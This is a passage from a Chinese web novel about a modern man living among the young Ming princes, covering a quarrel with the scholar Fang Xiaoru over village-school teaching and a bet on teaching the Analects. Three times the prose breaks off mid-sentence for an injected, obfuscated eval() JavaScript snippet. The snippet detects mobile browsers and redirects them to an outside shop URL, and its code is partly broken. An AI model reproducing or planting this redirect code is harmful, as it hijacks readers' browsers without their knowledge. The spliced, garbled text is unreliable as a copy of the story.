“呔,两个小蟊贼真是没死过,跑来我永乐庄想干嘛?给爷细细说道说道!” “呜呜呜呜呜……” “呜呜呜呜呜……” 朱棣的身下,传来的是, 两人啃着泥土的挣扎声。 “好家伙,嘴还有点硬是吧,你奶奶的,三天两头有人来闹事,这永乐庄姓朱的你们懂不懂啊?哈?懂不懂啊!” 朱棣,狠狠地扇了几下身下的两人。 于是,悲鸣,变成了哀嚎。 而不远处,还在院中的朱安宁和朱标,自然是不知道朱棣正在干嘛。 李文忠还在看地图。 另一边的朱安宁,却是理所当然地在发问:“我知道洪武爷抠,但是再抠,你也得给我点俸禄吧!” 这番话,很是理直气壮。 也是让朱标很是哭笑不得。 “这俸禄田和矿,不是都给你了么?这就是太子给你的俸禄啊……”他解释了两句,顺便还帮自己老爹说了两句好话:“而且洪武帝给的俸禄也不算低了吧……” “屁个不低,好些官员估计单靠俸禄,都没办法维持家中开销,不得不某些其他路子。” 朱安宁翻了个白眼。 要是说大怂……宋是文官最快乐的时代的话,明初,恐怕就是文官最无语的时代了。 因为俸禄,是开创性的低。 朱八八同志稳定发挥,直接就把那些官员定性成了自己的家仆。 秉承,家仆需要多少钱银去养? 他们还能造反不成? 给点饭吃,就算了,的优良思想,明初的官员们可是过得不太愉快的。 而且朱安宁并没有让朱标继续回话的打算,他是趁着朱标沉默时,继续说了下去:“另外永昌侯给的俸禄田和石膏矿,可不能算是我的俸禄吧,那是他赔礼道歉的东西,不是么?” 这番话,朱安宁说得相当理直气壮。 “这……好吧……”朱标肯定是在乎那点俸禄的,他在意的是,这官员的俸禄之低,连朱安宁这种地主都知道了?他可是才刚有官职没多久。 朱安宁也是没想到自己要求给工资的事情,就是随口一说,这伍文就点头了…… 看来东宫条件确实要比朝堂好一点…… 他刚想上去拍拍伍文的肩膀,说声交给你了。 结果没想到对方却突然开了口。 “安宁小弟,你方才说官员们俸禄低,是哪听来的消息啊。” 朱标笑着问出了他真正关心的问题。 历史书? B站? 知乎? 这三个答案,哪个都不对头…… 着实是一下就把朱安宁问愣了。 “呃……”他支吾了一下,然后决定把这个消息来源,导向最合理的那群人身上:“就进城买东西时,街口那群大婶说的呗,伍哥你也是知道的,那群大婶那是传什么都传得快……” 这个回答也还算合理,只见朱标点了点头,却又问出了一下个问题:“你是也是觉得我大明俸禄太低了么?但是我是核算过的,这份俸禄,绝对是够官员们,过得相对得体的啊。” 朱标背着手,开口说道。 一边的李文忠,其实也听到了两人的谈话。 本来还没什么。 只是怎么说着说着就说到了俸禄这件事情上呢。 这种话题太过危险,自己这个曹国公,可不能贸贸然参与。 还是看地图安全。 于是李文忠,是把脑袋埋得更深,甚至还挪了两步,远离了两人。 朱安宁哪能注意到李文忠这些小动作,对于朱标的问题,他没有多思考,大大咧咧地回道:“得体?官老爷们都当官了,只是为了得体?” 他开口就是暴论,把朱标整的有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378733|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道该怎么接话。 “你老爹都知道当官是光宗耀祖,其他人不也是这么想么,那光宗耀祖除了地位,也是要钱财的啊,俸禄这么低,怕不是有些官员啊,会顺手整点副业哦。” “副业?” “哎,就是捞点钱呗,钱权钱权,这两个字什么时候分开过。” 朱安宁还在稳定的输出暴论。 站在一边的李文忠瞬间汗如雨下。 昨晚…… 昨晚的晚宴,蓝玉他们几个就是在钱权钱权啊…… 而这番话也是落到了朱标的心尖。 他又不是那种完全没基层经验的那种统治者。 关于朱安宁说的事情,他其实也是知道的。 “即便我大明律例如此严明,那些官员们依旧还是要用自己的脑袋来试咱们陛下的铡刀?”朱标缓缓地回道,心里有些沉重。 “嗨,只要刀子不是落到自己头上,人都会觉得轮不到自己,毕竟当官的那么多,对吧。”朱安宁依旧是说得无所谓似的。 这种世界级难题,从未得到过解决。 只能说相对抑制,仅此而已。 看见朱安宁这副样子,朱标终于是忍不住发问了:“安宁小弟,你是有什么想法?这官员俸禄高了,宋也一样亡了,那我大明俸禄低了,也不行?” “这个给点补助就好了呗。” 朱安宁想的是,现代的绩效制度,不过也就是随口一说,没想太多。 而当朱标正要追问的时候。 院外传来了吵闹的声音。 只见朱棣黑着脸,走进了院子里。 他身后,正是搀扶着哀嚎不断的宋慎,方孝孺的朱橚。 这阵仗可不小。 直接就打断了朱安宁和朱标的对话。 而还在那看地图的李文忠,也不得不抬起了头来。 要是都这么闹腾了他还蹲在那看地图,那就太假了…… 连在实验田那边忙活的李景隆,都被这热闹,引了过来。 朱安宁看着几个人的样子,也是有些乐,又有些惊讶。 “伍燕,伍周!你两怎么又打架了!还把人打成这样了……”朱安宁是强忍着笑意走向了方孝孺和宋慎的方向。 两人满脸是泥,要多狼狈有多狼狈。 “哼,让他们自己说!”朱棣一脸不满的样子,大概是气到有点脑淤血,走到跟前他才看到自家大哥和李文忠正站在自己眼前。 是连忙唤了句:“大哥……” “叫李叔就行。” “李叔……”朱棣感觉这李文忠好像有点加辈了,但是心里烦躁,便也懒得多想那么多。 “四弟,你这……嗯?这不是相林和希直么?”朱标还想问下朱棣什么情况,结果他看清那满脸泥的两人后,是直接惊呼出声。 然后是一脸震惊。 这两人跑来这里干嘛……怎么好像还被揍了一顿的样子…… 这可是把朱副皇帝给整不会了。 听到有人叫出了自己的字。 这宋慎和方孝孺也是立马就止住了嚎叫的声音。 睁开了眼,然后……看到的是,太子…… 这两人那是腿一下就软了下来。 不是……这破庄子什么情况。 莫名其妙被燕王揍了一顿,好心的周王扶起了自己说要找个地方歇息,怎么抬头就看见了太子…… 自己是被揍傻了? 两人都不约而同地怀疑起了自己。 而架着他们的朱橚,确实第一个反应过来的人,他连忙对着两人轻声说道。 “这是我哥,叫伍文,东宫的官,明白了么?”朱橚没有解释太多。 他也不想解释那么多。 而方孝孺和宋慎,都不是什么蠢蛋,那是立马就领会了朱橚的意思。 虽然不知道是什么情况,但是你说是伍文,他就是伍文吧。 朱标正想走过去搀扶一下两人。 听见朱标喊话的朱安宁却是立马就不淡定了。 “希直?方希直?耐诛王???”他惊呼了起来。 成功吸引了众人的注意力。 希直方希直这几个字很好懂,作为著名做题家,应天府的人知道他是不奇怪的。 耐诛王?这是什么意思? 全场的目光,都一下,就聚焦到了朱安宁的身上。 第一百三十章 方孝孺,我朱棣,想打你全家 方希直,方孝孺同志。 史书上独一号的文人。 别人死谏送走自己,他死谏送走十族…… 如此炸裂的人物,在【人才】辈出的明朝,也算是断档的存在。 所以朱安宁才会惊呼起来…… 我的个乖乖,见着了凉国公……也就是现在的永昌侯也就算了,怎么连方孝孺这种炸裂人物都出场了。 对了,自己要是跟他说话了,不会也变成十族之一吧…… 朱安宁站在那里胡思乱想,却也是同时看到了目光都聚焦到了自己的身上。 “啊……就……就很有名啊……”他被众人盯得有点发毛,进而开始胡言乱语。 但是这说辞却也是说得过去。 作为顶尖做题家中的顶尖做题家,方孝孺在上层圈子中却也是很有名气的,虽然他没有官职…… 只见方孝孺和宋慎,虽然现在浑身都痛,但还是坚持着想要行礼。 朱橚见状也是不再搀扶他们…… 能自己走早说嘛……费那么大力气,他也是对这两人有点无语。 虽然朱棣不分青红皂白就把两人给揍了一顿。 但这也是他们贼眉鼠眼猫在角落的错啊……朱橚撇了撇嘴,只觉得这两人读书确实有一手,但是脑子可能……有点问题。 只见方孝孺和宋慎强行抑制住了自己哼哼唧唧的冲动,规矩地行了个礼。 “见过……见过……”两人都是不约而同地想开口说见过太子见过曹国公之类的,但是……却也在最后关头想起了朱橚的叮嘱。 东西可以乱吃,话不能乱说。 两人那是心领神会地立马改了口。 “见过伍大人……” 方孝孺和宋慎,直接就略过了李文忠,倒不是他们无礼……而是天知道现在这曹国公是个什么身份…… 而且现在最搞不清楚的就是,一堆皇亲国戚,猫在这庄子里干嘛? 有病啊,还人人都有另外一个身份似的,是不是元剧看多了嘛…… 宋慎在心里腹议不已,却也是只能腹议,说出来指不定要出大事。 而朱标看见这两人如此上道,也是点了点头。 只是两人的样子实在狼狈,点头的同时,不免也是笑了出声。 这就有些尴尬了…… “咳咳……见过宋大人,见过方学士,两位不在东宫与太子一起,怎么来了这乡下啊。” 朱标连忙把笑脸敛去,轻咳了两声。 但是这种时候,越忍,就越会有人笑。 只见呆在后方的李景隆,那是终于忍不住。 噗嗤一声笑了出来。 然后……他就接受到了他爹的制裁,他被狠狠地踢了一脚…… 而宋慎和方孝孺,此时脸是一阵红一阵白。 被人笑话就算了,太子这问自己两人为什么不在东宫陪太子……是什么话嘛……怎么答? “哦……两位也是东宫的官啊,嗯?这不是啊相林原来是宋慎宋大人啊……”朱安宁作为院子的主人,也是走了过去。 他只觉得几人的氛围有点怪,想缓和下气氛…… 顺便,靠近点看下耐诛王长什么样…… “啊,朱大人啊,今日也是打扰了,和好友希直想来你这庄子踏个青而已。”宋慎抹了抹脸上的泥,挤出了一丁丁笑容,回了朱安宁的话。 这下是连朱橚都憋不住了,他的笑声可要比李景隆的放荡得多。 毕竟现在这里只有朱标能制裁他,但是朱标站得离他老远了。 “这个……踏青,怎么……怎么……”朱安宁虽然对方孝孺很感兴趣,但是更让他疑惑的是……这两人是淘自家大粪了还是怎么地,怎么会和朱棣朱橚两兄弟起冲突嘛…… 哼哧了半天,他大概是也觉得审问受害者,有点问题。 便扭头嚎了一声:“喂,小燕,过来说清楚什么个情况,怎么把客人给揍了!” 这一嗓子,其他人倒是习惯了。 包括李文忠。 太子都能和这朱安宁称兄道弟了,他吼一下四皇子,有问题? 但是宋慎和方孝孺是第一次来这院子啊。 这尼玛是自己两人还是没醒么,怎么这个年轻人敢直接吼燕王啊…… 而更令他们眼珠子都要瞪出来的是,朱棣居然,就真的这么乖乖的站到了这年轻人的身边,开始解释起来。 “朱哥……”朱棣闷声开了口。 方孝孺还好。 宋慎是差点直接就晕了过去。 这踏马的怪不得全是皇亲国戚,这朱哥……朱啊……还哥,什么身份,什么地位啊。 怪不得昨天太子会让自己又是送田契又是给闲职的…… 这朱哥……不一般。 宋慎一阵眩晕,想到了无数种可能。 但是不管是哪种可能,一会最好拉着方孝孺这个憨货好好解释,不要再多生事端。 宋慎已经在心里打定了主意,必须要警醒些…… “朱哥,是这两人蹲在咱们学堂墙根下面,贼头贼脑的,老柳过来找我,我以为是贼人嘛……本想讲讲道理的,但是想想前几天的事情,我又懂些 拳脚,便想抓起来先……先生不要恼啊,你看他们都没缺胳膊少腿,眼睛也没被打淤青……” “咳咳咳……”朱标突然咳嗽了两声……似乎有点不悦。 在场几人,除了李文忠方孝孺和宋慎,几人都是有点不自然起来。 眼睛淤青这种东西,小燕同志不要哪壶不开提哪壶嘛。 朱安宁在心里骂了两声,但是听朱棣说了这么些话,包括他在内的几人,起码是听了个大概的过程,算是知道为什么打起来了……好像也不算是打,就是朱棣单方面的输出而已。 这朱棣的话音刚落。 还没等朱安宁锐评一下。 方孝孺的声音就插了进来。 直直地插入了两人的对话中。 “莫要含血喷人,我与相林,那是在那听课,我与相林作为孔圣学子,见到乡间学堂,过去听上一番,何错之有!” 他说得掷地有声,态度那就是丝毫没有犯错的理直气壮的态度。 这下可把朱棣给逗乐了。 只见他挑眉轻笑了两声。 “听课啊,哦?就猫在墙角那里,畏畏缩缩的听是吧!” 朱棣丝毫没有掩饰自己的讥讽气息。 不知道为什么,他并不是很喜欢这个方孝孺,总觉得国字脸和自己命格犯冲似的。 而方孝儒听了,也不恼,而是震声说道:“我等,是怕惊扰到学堂的先生,学塾圣地,我们自然不会僭越规矩。” 这话说得是有些冠冕堂皇的。 但是却也不是无懈可击。 “缩在那里跟个鸟似的就叫有规矩了是吧。”朱棣则是毫不留情面。 宋慎满脑袋都是汗。 这两人是想干嘛。 要吵起来么。 方才已经揍了自己一顿,这燕王本来应该是有错在先的。 但是你方孝孺现在这么和他杠起来,这不是明摆着脑子有包么。 杠急了他真的觉得燕王是讲道理的人? 他是忘了秦王朱樉的那些破事了么,这老朱家的皇子,老四老五虽然看着是比较有礼数的,但是要不讲理,人家也是可以不讲理的啊…… 看到了不妙未来的宋慎很想拦一下方孝孺,让他说话婉转些。 没想到方孝孺不仅无视了他暗搓搓的手指,还往前踏了一步,直接是走到了朱棣的面前。 “况且,永乐庄的乡学,能算得上是学堂?”方孝孺,开启了狂暴输出:“明明孩童们渴望的是孔孟圣学的洗礼,但是那学堂的先生,却尽是在讲些上不得台面的腌臜事,又粪又尿的,这根本就不能叫做学堂!” 这番话。 攻击性多少有点高。 所以不仅是朱棣变了脸色。 连朱安宁都换了副面孔。 马拉个巴子的,这啥卵家伙,怪不得会被诛十族,嘴巴真是臭得一批,蓝天六必治都治不了那种。 只见朱安宁眯起了眼睛,轻哼了声。 “那些粪啊尿啊就是浇到稻谷菜叶上的,方学士这么看不起这些腌臜事,想必是不吃饭也不吃菜,修仙的吧。” 骂人不带脏话,那是现代必备技能,朱安宁听着那方孝孺说的话就不舒服,那是直接就不讲情面了,反正现在看来这方孝孺好像是无什么官职的样子。 要是有官职,大家应该不会称呼他叫方学士的。 不是官,你爹又不是朱元璋,你横条毛啊。 家人多耐诛了不起是吧。 居然敢看不起自己学了那么多年的农学。 真是可恶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378734|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 朱安宁这话攻击性不仅强,还附带阴阳怪气穿透攻击。 让听见这话的朱棣都不免会心一笑。 就差拍手叫好了。 而方孝孺却也不愧是翰林学士,他虽然恼火,但是也迅速编辑好了语言。 “五谷之物,粪尿不过是外物,其荣养是取天地之精华,再为人所食。”只见方孝孺拱了拱手,算是回了朱安宁的话。 好家伙,古代的读书人都很会瞎掰啊。 朱安宁翻了个白眼,真想回怼两句。 没想到朱棣却主动接上了话。 “四肢不勤,五谷不分,就在这里大呼小叫,荣养取自天地?你有种过地么?知道有粪肥和没粪肥的区别么?没有人去施肥,去侍弄,你的天地之精华能自动进到稻谷里是吧?” 他说得不快,却更能显示其中的逻辑。 说得是连朱标都连连点头。 李文忠自然是不必说的了。 他们都觉得朱棣真的变化了许多。 似乎在这永乐庄里,燕王朱棣,完成了一次蜕变。 众人点头,是因为他们听得懂朱棣在说什么。 但是,他们低估了方孝孺的战斗力……或者说,他么高估了年轻读书人,对农事的理解能力…… 按现在的话来讲就是,你不要和我文科生讲物理……你的电子轨迹,不符合我的观点。 “我虽四肢不勤,但是通晓圣贤书,懂经纬,知方略,农家侍田,工匠制器,人人有其职,我职不在此,故,不知便不知。” 我尼玛……这么理直气壮的么。 朱安宁是真 的震惊了。 而方孝孺还未停下话语:“让耕者有其田,是我们熟读圣学的人要去做的事情,倘若处处的乡学,都如这永乐庄这般,教些奇怪名堂,那谁来实现耕者有其田?” 这一番话,就很能显现方孝孺的水平了。 他杠,是杠得有道理的。 不然也不会把自己十族给杠没了啊。 “那谁来教耕田?”朱安宁嗤笑了一声。 “自有农家代代传。” “那就是说我的乡学不教你的儒学,就是大逆不道?” “自然,儒学乃根本。” 朱安宁现在也总算是看出来了,这方孝孺真的是读书读傻了。 就是古代那种信奉儒学能够治理万事的那种儒学子弟。 看着朱棣慢慢黑下去的脸,和朱标不动声色的样子,宋慎始终还是慌了。 他知道再不出手,这方孝孺还能惹毛更多的人。 只见宋慎往前大走一步。 开始发表自己意见。 “今日不过是听闻永乐庄乡学非同一般,便和希直过来看看罢了,这朱大人的庄子,教的内容确实有异与一般的学堂。”宋慎想把方孝孺扯回来,但是扯了几次……徒劳无功,只能站到他旁边继续说道:“朱大人说的确实也是有理,其实希直的意思,也只是说,学堂始终是学堂,圣人学说,肯定还是需要教一些的,不说别的,让孩子们知书识礼,才是学堂的目的,不是么?呵呵。” 只见宋慎打了个哈哈,那是把方孝孺的话,绕了个圈,变成了劝解的意思。 这话语可算是成功缓和了气氛。 就连远处的朱标都不由得点了点头。 这序班,可能还是有点委屈宋慎了…… 眼看一场闹剧就要在宋慎的斡旋下收场。 宋慎在那打着哈哈,那眼神对着朱棣多少是有点求饶的意思。 朱棣也不是什么犟种,他就是看不过眼方孝孺的态度而已。 而看他的好友都这个做派了,便是叹了口气。 而连朱棣都准备顺着台阶下来的时候。 方孝孺是直接皱起了眉头。 “学堂就应该只教圣人学说!” 这,朱棣一下就气乐了。 只见永乐庄大管事朱棣,终于是不耐烦地大声喝道:“方孝孺,你是不是脑子有问题?咱的庄子,教什么,干你屁事?死一边去,别碍着我们干活。瞪我干嘛,不服气啊?来来来,我们再比划比划!” “你!你个莽夫!”方孝孺骂了声。 终于是成功点燃了朱棣的怒火。 “哎我去,莽夫是吧,你过来我打你一个,你全家过来我打你全家信不信?!” 场面瞬间就混乱了起来。 第一百三十一章 方孝孺,敢不敢打个赌嘛 朱棣虎起来,寻常两个人还真拉不住。 朱橚和宋慎那是首当其冲。 特别是宋慎,心中已经把方孝孺的十族都骂了个遍,只觉得这人是不是脑子有毛病。 刚才自己都把话给圆回来了,最后这几句又何必呢? 他很不理解,但是现在也没时间给他理解。 当务之急都是抱住燕王,避免冲突的扩大化。 这是他和朱橚的共识。 结果,更令他吐血的事情,就在顷刻间,发生了。 “全家?你就是打了个十族又如何?天底下,只要是我大明的学堂,就必须是教孔孟圣学,程朱之说!” 方孝孺好像被朱棣激发了无穷的斗志般,激昂了起来。 直接就是让宋慎眼前一黑。 你个狗日的,你的十族里面是包括我的啊。 你嚎两句,爽了,我宋慎就得去挨揍是吧。 恼火不已的宋慎,竟是偷偷松了些许手上的力道。 朱棣也是瞬间就到了方孝孺身前,狠踹了他一脚。 而方孝孺身子骨虽然不硬,但是现在这一刻,他的嘴,就是天底下最硬的。 竟是一声不吭,就这么被闷声踢倒在了地上。 “行了行了,闹到什么时候。”终于看不下眼的朱安宁,学着电视剧里的样子,甩了甩衣袖。 院子的主人开口了。 饶是朱棣,也冷静了些许,反正已经踢了一脚,脚感不错,还挺爽。 “方孝孺。”朱安宁径直叫出了对方的名字,没有叫什么方希直也没有叫什么方学士之类的称呼。 “你不就是觉得我的学堂,没有教那些孔孟之道嘛。” 朱安宁嗤笑了两声。 那恼火的样子也不似作假。 他的确是生气的。 也终于知道为什么未来的永乐帝会直接干掉这个犟种了。 真就是油盐不进,放小美那就是能让人顺着网线过去枪毙的究极键盘侠。 无人回答朱安宁的问题。 而朱标却饶有兴致地看向了朱安宁,不知道在想什么。 对他太子而言,今天确实是有些闹腾,但是事情的发展好像有趣了起来……反正只要不是像那天那样,给自己邦邦两拳就行…… 朱安宁蹲了下去,到了方孝孺的面前。 也不拉起这个扑街仔,就这么地开始说话。 “赌一场?就论语,我挑些名篇,教我庄里的孩童,选两个大点的不过分吧,一个月内,这孔孟圣学,我包让他们学个明明白白,怎么样?” 这话出口,方孝孺立马就是笑了起来。 笑得相当欠揍那种。 而其他人,则露出了有些莫名的神情。 一个月…… 这莫不是痴人说梦。 须知道,这四书五经,那得多少个年头才能学得通透,这朱安宁好像说得很轻松似的。 这不是扯淡么。 必不可能。 就算是支持朱安宁的朱棣和朱橚,也是懵逼了起来。 朱哥不是没有读过书吧,怎么会说出如此荒谬的话语。 自己当年在学堂,就算是大儒授课,也是听得一头雾水,云里雾里,直到不知道多少年后,才豁然开朗了些许。 说起来,实在是这远古时期的说辞啊,太过长,一片片摆在那里,让人痛苦不堪。 也不对啊,朱哥说起话来也是一套一套的,虽然有时候不是很着调,但是还是很有道理韵味的…… 几人都拿捏不定,这朱安宁是真的有信心,还是就是口嗨,竟一时之间全都楞在了那里。 只有方孝孺的笑声在院中回荡。 笑得是舒畅无比。 “朱大人若是不是说笑的话,方某接下这个赌约又何妨?” 方孝孺已经是当世独一档的读书人。 他知道论语并不是什么太过高深的东西。 但是看这个庄子就知道,就是流民灾民的新聚居地而已。 孩童们不要说读书,就是识字都够呛的那种。 一个月,学论语?这什么痴人说梦。 不可能,绝对不可能! 天王老子来了都不可能! 方孝孺从地上爬了起来,拍了拍身上的灰尘,顾不得疼痛,站直了身子。 这家伙还是有点东西的,嘴硬,骨头也不软。 “好,论语十则,做不到,我永乐庄的乡学,未来教什么,全凭你定夺。” “好一言为定。” “那你输了呢?” “我输?”听见朱安宁的话,那方孝孺又是笑了起来。 怎么输,优势在我啊,怎么输? 他大手一挥,回到。 “由朱庄主说了算,只要不是有违人伦,或者犯我明律,我定会做到。” 两人在电光火石间,就决定好了一个赌约。 把一众人等,是看得目瞪口呆。 特别是朱棣,他只觉得,刚刚自己还是主角,怎么一下就被朱哥抢了风头。 朱哥不愧是朱哥,就是牛。 “好,既然定下赌约,那方学士,慢走不送。” 看着事情已经定 下来,朱安宁的逐客令,下得要多快有多快,他也不想这种扫兴的人,还呆在自己的院子里。 方孝孺也没有太过意外。 他也知道自己的话说得有多直接。 须知道,他其实情商智商都并不算低,只是他不愿意破坏自己的原则,折腰,仅此而已。 宋慎见到事情已定,那是连忙凑到了朱标的身边。 想看看太子有没什么指示。 而朱标是什么都没说,目光移到门口位置。 那意思是再明显不过。 宋慎叹了口气,只觉得这方孝孺今天实在是太过恼人,但是看太子的态度,好像也还可以…… 算了,先把自己这恼人的友人先拖走吧,不要再多生事端了。 自己这两天可真是累了啊。 宋慎在朱安宁没有注意到的间隙那,对朱标行了个礼,然后连忙过去搀扶住了方孝孺。 虽然他也浑身有痛,但是还是把方孝孺架得相当地紧…… 原因,不言而喻。 方孝孺虽然大闹了一场,但是礼数也没丢,他规规矩矩对众人行了个礼后,才离开了这院子。 留下一群无言的人。 过了不知多久,才听见朱安宁大骂了一声。 “我靠这方孝孺真就是个脑残是吧……” 朱棣是听朱安宁国粹过无数遍的人,那自然是听得懂他在骂什么的,也是跟着点了点头。 “真是个脑壳有问题的家伙……” 两人在这件问题上,达成了一致。 这让站在一边看了半天的朱橚,忍不住笑了起来。 而另一边,朱标却突然开了口。 “安宁小弟,你应该读过书吧。” 朱标这问题可不算是莫名其妙。 其实院中的所有人,都算是读书人。 就算是武将出身的李文忠,在后世也是被称作儒将的。 所以一众人都是知道四书五经,可不是什么随便先生讲几句,就能讲通的东西。 朱标这个问题问的很是委婉,却差点让朱安宁破防。 这群古人真是欺人太甚。 现代本科教育,不叫读书是吧。 真是岂有此理。 “伍哥为何如此发问啊。”朱安宁翻着白眼,回道。 “须知道,论语,并不是什么简单的三字经般的孩童读物啊。”朱标看到了朱安宁的态度,自然是有些好笑的,但是他却也是想了许多东西。 朱安宁是个有用之才。 这没错。 他已经展露过他的价值。 但是,这还不够。 这次就当做是一次考验? 东宫门人,可不是那么好当的。 自己是未来的皇帝。 那自己门下的人,都有机会成为未来的重臣。 如果朱安宁真的有足够的能力,他不介意,让朱安宁成为那重臣之一。 毕竟,其实,朱标也很是喜欢朱安宁的。 救过自己儿子的人,他怎么能讨厌呢。 而听到朱标提问的朱安宁,也是无奈地叹了口气。 总之,方孝孺肯定是不信自己的。 眼前这伍文,大概也是怀疑自己能不能做到。 “伍哥,无需多言,这方孝孺都说得那么难听了,这事,难办也得办成,况且,我已经有了想法,你就不必多虑了。” 朱安宁径直回到了自己的躺椅上,泡了杯茶,示意众人坐下。 “论语是人写的,孔圣叫圣,他也是人,怎么,人话我们都听不懂了?”他摇了摇茶壶,发现还有点茶水,也懒得管温度,就这么倒到了自己的杯中,喝了两口。 这话,倒是有点话粗理不粗的意思。 只是众人也不敢苟同。 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378735|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟学过才知道难。 朱安宁也懒得和众人解释。 场面一时安静了下来。 不知过了多久。 朱标却又突然开了口。 “对了,李叔,那边的作物,三江有没和你介绍过啊?四弟五弟,你们也去看看?” 这番话,再明显不过。 各位让一让,咱想和朱安宁谈谈。 几人消失的速度那是相当迅速。 朱安宁也也不是傻逼,他虽然有点诧异为什么那么突然要和自己单独聊,但是还是淡定地开始烧水,想把茶水煮开些。 毕竟刚才凉了的茶……不好喝。 他就这般不作声地,等着朱标的谈话主题。 朱标也没有忸怩,他轻笑着开了口。 “安宁小弟,那方孝孺也好,宋慎也好,都是与我共事的人,特别是方孝孺,他性子直,你就多担待点,当然啦,你们的赌约,我是不搀和的,呵呵。” “那伍哥你真是辛苦了,要和这种嘴硬头也硬的人共事……哎,也还是跟您说下吧,要不远离下那方孝孺吧,我看他就是一副迟早要被诛十族的样子……” 朱安宁是认真的好心地提醒。 但是落在朱标的耳中,他也只当是埋怨而已,并没有放在心上。 “对了,安宁小弟,你真的有把握赢希直?” “伍哥,你还真以为我就 是口嗨啊?” “呃……口……口嗨是……”朱标有点不明所以。 朱安宁却已经转身进了房车里,掏出了一张宣纸和笔。 开始写了起来。 “论语十二章,伍哥应该烂熟于心了吧。”他一边写一边开口说道。 字虽然不漂亮,但是好歹也是能看的级别。 朱标要求也没有那么高。 他凑了过去。 看到朱安宁写出了一大段字来。 三人行,必有我师焉。择其善者而从之,其不善者而改之。 这在现代,就是考试都懒得考的句子,毕竟太有名了。 但是刚刚好用来举例。 “那是自然。”朱标看着字句成型,回道。 “那朱哥觉得,这小段文字,教给孩童们有什么难点么?” “难点?我也没当过讲习先生……”朱标皱着眉头,似乎在思索:“不过小时候学习时,总觉得这些篇章,长长的,听着难受,看着也难受,先生虽然会给注解,但是注解那是更长更难受……直到长大些,自己才慢慢看懂的。” “诶,这就对了,学习嘛,就是难受的,但是伍哥,如果我给你看的是这样的文章,你看看会不会有什么不一样的地方?” 朱安宁笑着,像考试断句那样,给这几句话,隔了开来。 这在现代,就是学生的基本功而已。 所以朱安宁断得相当正确。 虽然他已经是个社畜了,但是这些东西已经印在灵魂深处了……感谢填鸭式教育……阿门。 朱标看着那些斜线,先是皱眉,然后眉头瞬间就舒展开了。 “这……” 他愣了愣。 却也不影响朱安宁轻笑。 这伍文是看懂的了。 不然不会这种表情。 朱安宁很笃信,古代的教育之所以这么痛苦,真是因为缺少断句。 他去过博物馆看那些古书的。 即便懂些繁体字,看得也是痛苦面具。 这就怪不得后世为什么会有那么多被曲解的文章了。 你都不断句,我搞错意思也不意外吧! “这……这间隔开来,意思就简单明了了啊,像我们说话似的。” “本来文章就是写给人看的,论语更是孔子和他弟子的对话,我们如果能用这斜线啊,把说话的停顿断隔开来,不久很好理解了么?” 朱安宁把手背到了身后,一副大宗师的装逼模样。 而朱标,却已经在心里掀起了波涛。 读书一事,向来都是有门槛的。 因为注解也好解释也罢,都在世家门阀那。 普通人要进学,只能通过学堂。 但是朱安宁这么一搞,好像真的把读书的难度降低了很多啊。 朱标是个有眼见的人,他知道这些斜线的重要意义! 而令他没想到的是。 朱安宁,又令写了一篇,一模一样的字句出来。 然后,点了个蝌蚪样的符号,又点了个圈圈,在那些文章之中。 第一百三十二章 求求你们快点去挖矿吧 这逼,已经装成了一大半。 但是令朱安宁没想到的事情发生了。 “这新的符号,确实比其他先生给我的注解要简练。”朱标仔细看了看,竟是直接读出了声音。 他读得抑扬顿挫,非常流畅。 而朱安宁突然有点汗流浃背的感觉。 其他先生? 什么个意思。 难不成,以前也会标注…… 他拼命回想自己在博物馆看到的书籍,还有电脑中的拓印本,确认了……应该是没有标点符号的啊,撑死是带点记号而已。 所以这情况让他把背着的手,放了下来,恢复到了非装逼形态。 其实事实上,许多书籍,在最初拓印的时候,确实是没有类似句号逗号的存在的。 特别是四书五经。 世家门阀就是靠一手句读,对文章获得了解释权,从而稳固了自己的地位。 最终达成了百年王朝,千年世家这一成就。 换言之,古代确实没有明确的标点符号。 有的话,使用也相对混杂。 更多的就是靠口口相传的句读,进行断句。 这保障了儒家体系中最重要的师生关系。 对经书的解读,是必须要先生领进门的,所以古代,读书是特权,这毋庸置疑。 自学成才,那是话本里才有的佳话。 虚字行气体系,再加上晦涩难懂的各种省略,其实是世家对自己独家解释权的最好保护。 但是现代的标点符号意义就要明朗多了,逗号中顿,句号结束,朱标读了两次就感受地明明白白。 进而笑得合不拢嘴。 他虽然是儒家教出来的合格太子。 世家这个老问题,他看得很通透。 一千多年前,世家直接做官,被科举一举破了局。 世家也跟着进化,你科举那我就垄断读书权力,寒门贵子年年话本大放送,但是占比极低,说来说去,他们还是通过垄断了读书的权力,进而继续变相世袭官位。 而朱安宁这些简单的符号,确实是激发了朱标的一点点想象。 